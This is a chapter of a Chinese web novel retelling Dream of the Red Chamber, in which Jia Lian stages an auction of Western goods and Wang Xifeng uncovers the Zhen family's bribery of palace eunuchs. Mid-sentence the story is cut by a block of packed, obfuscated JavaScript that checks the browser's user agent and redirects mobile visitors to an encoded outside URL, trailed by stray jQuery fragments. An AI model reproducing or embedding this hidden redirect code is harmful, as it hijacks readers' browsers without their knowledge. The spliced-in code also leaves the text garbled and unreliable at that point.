紫檀木拍卖台上,金碧辉煌的屏风前俏生生立着位穿着粉衣白裙的拍卖娘子,桃面杏腮,眉如柳眼如星,发髻斜簪琉璃桃簪,额间点着粉红杏花钿,一笑只如春柳下的灵动燕子。
王熙凤一看长眉微微皱了下,这人她却认得,鲍二家的,春杏,贾琏房里的大丫头。
这媳妇子确实伶牙俐齿,不怯场,有一股泼辣劲儿——他们家二爷就喜欢这样子的女子,不羞头羞脚,大胆伶俐,艳丽风流。
只见春杏笑吟吟道:“列位夫人、娘子,今儿我为贵人们介绍商品,若有个说不周到的,还请列位夫人海涵。”
她落落大方伸手,一侧两个小厮扛上来了两盏漂亮的落地琉璃灯盏,都有一人高,灯罩如蘑菇伞,五彩缤纷,将里头蜡烛点上,流光溢彩,更是吸引人。
她开始流水一般的介绍,这一对落地灯盏底价一千两银子,介绍后便开始放上了巨大的沙漏在台上计时,开始出价。
接下来是雪玉纸,雪白光滑柔韧的纸张,一百两银子一包一百张,一共十大包,暗拍出价前十名得。
西洋雪花糖,一百两银子一斤,一共二十斤。
西洋火柴,点火方便,一百两银子一大包,每包五十盒,一共十包。
西洋香皂,一箱五十块,都是不同的花香味,一千两银子,一共十箱。
水晶葡萄琉璃壶、琉璃杯一整套,五百两银子一套,一共十套。
西洋眼镜,一共两种,各十副,一种是给看近处看不清楚的老者用的,一种是让看远处看不清楚的年轻人用的,多是绣花伤了眼睛或是读书坏了眼睛的秀才用的。底价是一千两银子一副。
这些都是稀罕物,但底价都不是非常昂贵,也都是些小物件,且数量比较多,几乎只比底价高一些的都能买到了,一时大堂上众女客颇有些雨露均沾、普天同庆的喜气洋洋来。
大家都看出来了这是让大家先熟悉这暗拍的规则。
甄雨静拍了一副西洋眼镜:“我们家老太太眼花了,又爱看戏本子,这东西倒合用。”
刘三奶奶也拍了一副:“我是给外子买的,他少年时苦读太甚,眼睛坏了。”
唐四奶奶则拍了一大包西洋火柴:“这个方便,而且这一大包,拆着卖也能卖出价。”却是想放在自己的嫁妆铺子里卖,如今市面上还没有这样的洋火柴,加点价卖没问题。
康少奶奶则拍了那香皂:“我爱那柚子香味的,难为这些西洋人怎么制出来的。西洋货我也见多了,市面上竟没有见过。”
终于上来一整顶八宝琉璃珠帐,整个纱帐是淡红色,轻若无物,如粉色阳光透过晨雾,通透明亮。
四角垂下八宝琉璃坠子,帐门则是纤细的珠帘,难得就难得在这些珠子全是小米大小,垂下来时不同的颜色还拼成了一幅石榴百子画。
底价还是三千两银子。
场上起了一个小小的高潮,毕竟这八宝帐,是能给女儿做嫁妆的。和拔步床一并陪嫁,多么体面。在座的都是富豪夫人,贵人女眷,全都有些心动。
接下来是一面西洋玻璃全身镜。是画也是镜,外侧三幅工笔花鸟画,画上覆盖着透明玻璃,保护其中画不被污损,且又使画分外晶明亮丽。
推开内侧便是明光透彻玻璃银镜,可照全身。这镜照人,纤毫毕现,光可鉴人。
这个底价却贵了,一万两。
玻璃镜后,上来了九对海马。
春杏满脸俏皮:“海马九对,列位夫人们且看,这一对干海马,笔直笔直,头尾完满,品相上佳,左公右母,足有十二寸,每只三钱。更难得的是这样的大海马,平日能得一对已难,这却一共九对。”
“这海马,需在深海中潜水捕捞,晒制成干又极易受虫蛀,得之不易,五寸以上海马才好入药。我朝的海马,多是从占城、如今这样大一对,乃是海中奇珍。”
“海马阴阳双补,主治宫寒肾虚,可暖水藏,壮阳道,消瘕块。于男子,则藏精蓄锐,精固气守,于女子,则温润补元,暖宫养肤,食之养生,又可神思清朗,元气焕发。”
“九对不拆卖,底价一万两银子,这是稀罕货。”
场上的贵妇人们全都笑了出来,全都心知肚明,这是男子大振雄风需要配的药。
甄雨静却想了想,却拿过拍卖卡来,写了个价格,密封盖蜡。
王熙凤满脸揶揄看着她,甄雨静却苦笑了声,王熙凤便知道她这是另有内情了。
海马虽然大,但这入药的海马,小一些的也不是不行,再说也很少有人一次用这么多的海马来入药,因此竞争并不算非常激烈。甄雨静出了一万五的银子,一举拿下了那九对海马。
最后一架珍品,是“西洋月相落地钟”。小厮们将那一人高的沉重落地钟抬上来的时候,场上一片寂静。
春杏含笑:“这西洋月相落地钟通体紫檀木雕花底座,沉稳雍容。”
“请各位夫人看,西洋雕花玻璃镜框门,雕花镀金钟表盘、鎏金实心重锤,金大钟摆盘,真材实料,尽显富贵。”
“九个小锤通过齿轮击打九根音管,如编钟之音,中正平和。”
“金质指针,走时精准,发条由工匠手工打磨,精雕细琢。”
“另配有月相盘,与天上月遥相呼应,请看今日初三,正是新月如蛾眉弯弯。”
“‘人有悲欢离合,月有阴晴圆缺’,月相交替,正是天人感应。”
月相钟底价是两万两银子。然而流拍了,显然今日来的女眷,还没有人舍得花这么多的银钱买这样昂贵的摆设品。
但贾琏原本也只为了打出名头而已,西洋自鸣钟如今在京城的高门里并不少见,但这样大的落地钟,又配着月相盘的,并不多。
他特意弄个高价来做个宣传罢了。这玩意儿在商城也要三千金币,不算便宜,他也没打算卖出去,只留着做镇店之宝罢了。
他站在楼上专门留着给自己用的一个小包间内,看了楼下第一次圆满将整个拍卖会介绍完的春杏,微微点了点头。
春杏到底是贾府教养出来的大丫鬟,家生子,一应规矩都娴熟,也不怕见客。
自己年少时也是十年寒窗苦读过,她是母亲挑到自己房里的大丫鬟,当然也是识字的,嘴上也来得,落落大方,这面向女宾的拍卖场,果然是她最合适。再加上那两个弹词的女先生,她们三人就足够撑起这现实生活的拍卖场了。
而面向虚拟位面的那个直播间,则跳脱大胆、不拘一格,没皮没脸更豁得出去的刘姥姥和多姑娘更合适。
他看着第一次拍卖完美结束,王熙凤送了庆国公府的世子夫人和其他夫人下去,今日阿凤请了这些平日交好的贵妇,很快一传十十传百,慢慢这拍卖行也就立起来了。
不过,最重要的,还是面向虚拟位面的直播。
他坐在那里下意识又点开了万象宝鉴,又看了一个红楼周边的直播视频,心中默默筹画打算着。
却见兴儿过来敲了敲门:“二爷,二奶奶把鲍二家的叫了去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377651|166486||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
贾琏道:“知道了。”他抬眼看兴儿满脸担心,知道这是担心王熙凤吃醋,心下微微一哂,自己这个妻子,可不是一味吃醋的性子,她识人用人方面可一点儿不差。
若是她才见一下春杏,自己就立刻赶去,那阿凤才是会生气。
他慢悠悠看完一个直播,才起了身走过去,在外边隔着玻璃花窗听了一听。
果然听到春杏在里头说话:“二奶奶放心,从前是我们做奴的,无路可走,主子让我伺候二爷,我眼里也就只有二爷。不伺候主子,那就只能嫁小厮。”
“如今二爷二奶奶给了奴婢指了一条光明大道,除了月银外,我每主持一次拍卖会,就能有十两银子进账。”
“我们夫妻都感恩戴德,只念着主子们的好,哪里敢做什么狐媚子,若是我再有那等不知天高地厚的念头,只管让雷公劈了我,教我死无葬身之地。”
王熙凤笑了声:“倒是还是和从前一般伶牙俐齿,果真如此,也算你和鲍二的一场造化。”
春杏道:“奶奶说的是。”声音又冷又脆。
贾琏想着书中她被阿凤撞破捉奸,便上了吊,心里想着终究是自己负了她。自己前科累累,如今自己若是进去,阿凤只会以为自己旧情难忘,未必轻饶了她,索性便走到一旁,看着人抬着那座落地钟下去。
王熙凤下来便看他在拍卖台下抬头看着,笑问:“琏二爷今日旗开得胜,可该好生贺一贺。”
贾琏道:“送走世子夫人了?她怎么忽然想起买海马来了?难道是世子身体不好?”
王熙凤原本酸溜溜想说春杏的事,却被他给这话题给带笑了:“真配药哪里用得上这样大这样多的海马,你还不知道吗,她买回去,自然是送礼的。”
贾琏道:“送礼?”
王熙凤靠近他私下道:“可巧我和她好,她才和我说了。她这是打点着要送宫里的那些执事太监的。”
贾琏讶然:“是为了太妃?”
王熙凤叹息:“可不是?听说过年后身子就不太好,还有……”她压低声音:“说是上皇……也是,身体大不如前,她如今只能打点着宫里,好让太妃好过些。”
贾琏心下闪念,知道甄太妃很快就要去世,而甄太妃去世之后没多久,甄家就被抄了。
显然甄家也心知肚明他们受太妃的庇护,只能千方百计继续这权力的承袭。太妃病重时,红楼梦里有过一出甄家太太和小姐进京进宫,派人去见老太太,还夸了宝玉的描写。
与甄家一贯交好的贾府元春的受封,应该也是甄太妃的手笔。
但,终究不过是垂死挣扎罢了。
贾琏心中喟叹,面上倒不显:“难怪了,这东西倒是宫里内侍们稀罕,甄家这位二姑娘,果然是难得的聪明人。”
宫里的太监为无根之人,阴盛阳衰,一旦有了权势和财富,则更痴迷于这种补阳之物,妄想着还能够再续残缺之身因此那些什么鹿茸人参,海马虫草,那都是权宦们大手笔地囤积购买的,这样硕大的海马,自然也是很受欢迎的。
这么说,自己倒可以再采购一些,后期等元春封妃后,荣国府可就一直受到宫里的太监们的索贿借钱,滋扰不休。他心下打算着还能买些什么来打通这些贪婪的内侍。
王熙凤可不知道丈夫满腹心事,只笑了声:“现又夸人聪明了,刚才怎么编排人家的。”
贾琏只笑着凑近她耳朵又悄悄说了几句话,王熙凤面颊飞红,夫妻二人自往内室行去。